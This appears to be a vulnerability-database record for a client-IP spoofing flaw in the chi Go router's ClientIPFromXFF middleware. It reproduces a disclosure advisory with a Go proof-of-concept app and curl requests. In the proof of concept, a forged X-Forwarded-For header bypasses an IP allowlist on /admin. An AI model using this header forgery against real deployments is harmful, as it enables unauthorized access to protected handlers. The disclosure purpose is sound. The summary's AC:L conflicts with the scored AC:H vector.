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Response snapshot Oct 27, 2026, 07:01 UTC

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VulnerabilityCVE-2026-114437

chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For

`ClientIPFromXFF` skips any `X-Forwarded-For` entry in a configured trusted CIDR but never verifies that the direct TCP peer in `http.Request.RemoteAddr` belongs to that CIDR.

Published Updated

At a glance

Exploited
Not known
Severity
4.8 Medium (CVSS 3.1)
Chance of exploitation
0.1% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: github.com/go-chi/chi/v5: 5.4.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-j6qf-3m9c-vwj3 (opens a new tab)

What happened

### Summary

`ClientIPFromXFF` skips any `X-Forwarded-For` entry in a configured trusted CIDR but never verifies that the direct TCP peer in `http.Request.RemoteAddr` belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by `middleware.GetClientIP`.

The attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N).

**Preconditions:** The application uses `ClientIPFromXFF` and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required.

Continue reading

1. Send `GET /admin` directly to the origin with no `X-Forwarded-For` header. 2. Observe a `403 Forbidden` response and an empty derived client IP. 3. Repeat the request with `X-Forwarded-For: 10.0.0.7, 198.51.100.42`. 4. Observe `200 OK` and `client-ip="10.0.0.7"`. Expected: the untrusted direct peer prevents the forwarding chain from being accepted.

### Details

The vulnerable code is `ClientIPFromXFF` in `middleware/client_ip.go`, lines 93-116 at the tested revision. It calls `walkXFF` with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address:

```go walkXFF(r.Header[xForwardedForHeader], func(v string) bool { ip, ok := parseHeaderAddr(v) if !ok { return true } if inAnyPrefix(ip, prefixes) { return false } found = ip return true }) ```

The function does not parse `r.RemoteAddr` before this walk. Consequently, the configured CIDRs identify trusted strings inside `X-Forwarded-For`, but do not establish that the immediate sender is one of those trusted proxies.

### Proof of concept

Using Go 1.24 or later, create and run this minimal application against the tested revision:

```sh mkdir chi-clientip-poc cd chi-clientip-poc go mod init clientip-poc go get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1 cat > main.go <<'EOF' package main

import ( "fmt" "log" "net/http"

"github.com/go-chi/chi/v5" "github.com/go-chi/chi/v5/middleware" )

const allowedIP = "10.0.0.7"

func main() { r := chi.NewRouter() r.Use(middleware.ClientIPFromXFF("198.51.100.0/24")) r.Get("/admin", func(w http.ResponseWriter, r *http.Request) { clientIP := middleware.GetClientIP(r.Context()) if clientIP != allowedIP { http.Error(w, fmt.Sprintf("denied: tcp-peer=%q client-ip=%q", r.RemoteAddr, clientIP), http.StatusForbidden) return } fmt.Fprintf(w, "allowed: tcp-peer=%q client-ip=%q\n", r.RemoteAddr, clientIP) })

log.Print("listening on http://127.0.0.1:3001") log.Fatal(http.ListenAndServe("127.0.0.1:3001", r)) } EOF go run . ```

The no-header control was rejected:

```console $ curl --http1.1 -i http://127.0.0.1:3001/admin HTTP/1.1 403 Forbidden Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 06 Oct 2026 15:46:27 GMT Content-Length: 48

denied: tcp-peer="127.0.0.1:54416" client-ip="" ```

Adding the forged chain authorized the same direct client:

```console $ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin HTTP/1.1 200 OK Date: Tue, 06 Oct 2026 15:46:33 GMT Content-Length: 57 Content-Type: text/plain; charset=utf-8

allowed: tcp-peer="127.0.0.1:54417" client-ip="10.0.0.7" ```

### Impact

I made an anonymous direct connection from `127.0.0.1`, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted `10.0.0.7`. This changed the authorization decision from `403 Forbidden` to `200 OK` for the protected handler.

Affected package ranges reported by GitHub: github.com/go-chi/chi/v5: <= 5.3.2

Scores and how they were measured

CVSS base severity

4.8

Version 3.1As of

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.1%

Scored Percentile 2.6%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-j6qf-3m9c-vwj3 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-j6qf-3m9c-vwj3, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-114437, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 23). chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For (CVE-2026-114437). https://kevwire.com/record/CVE-2026-114437

MLA

"chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For (CVE-2026-114437)." KEVWire, 23 Oct. 2026, kevwire.com/record/CVE-2026-114437.

Chicago

KEVWire. "chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For (CVE-2026-114437)." Last modified October 23, 2026. https://kevwire.com/record/CVE-2026-114437.

Evidence summary (plain text)

chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For (Oct 23, 2026).
`ClientIPFromXFF` skips any `X-Forwarded-For` entry in a configured trusted CIDR but never verifies that the direct TCP peer in `http.Request.RemoteAddr` belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by `middleware.GetClientIP`.

The attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N).
CVSS 4.8 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-j6qf-3m9c-vwj3).
EPSS 0.1% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114437&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-j6qf-3m9c-vwj3: https://github.com/advisories/GHSA-j6qf-3m9c-vwj3
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114437&date=2026-10-26
Record ID: CVE-2026-114437.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 01:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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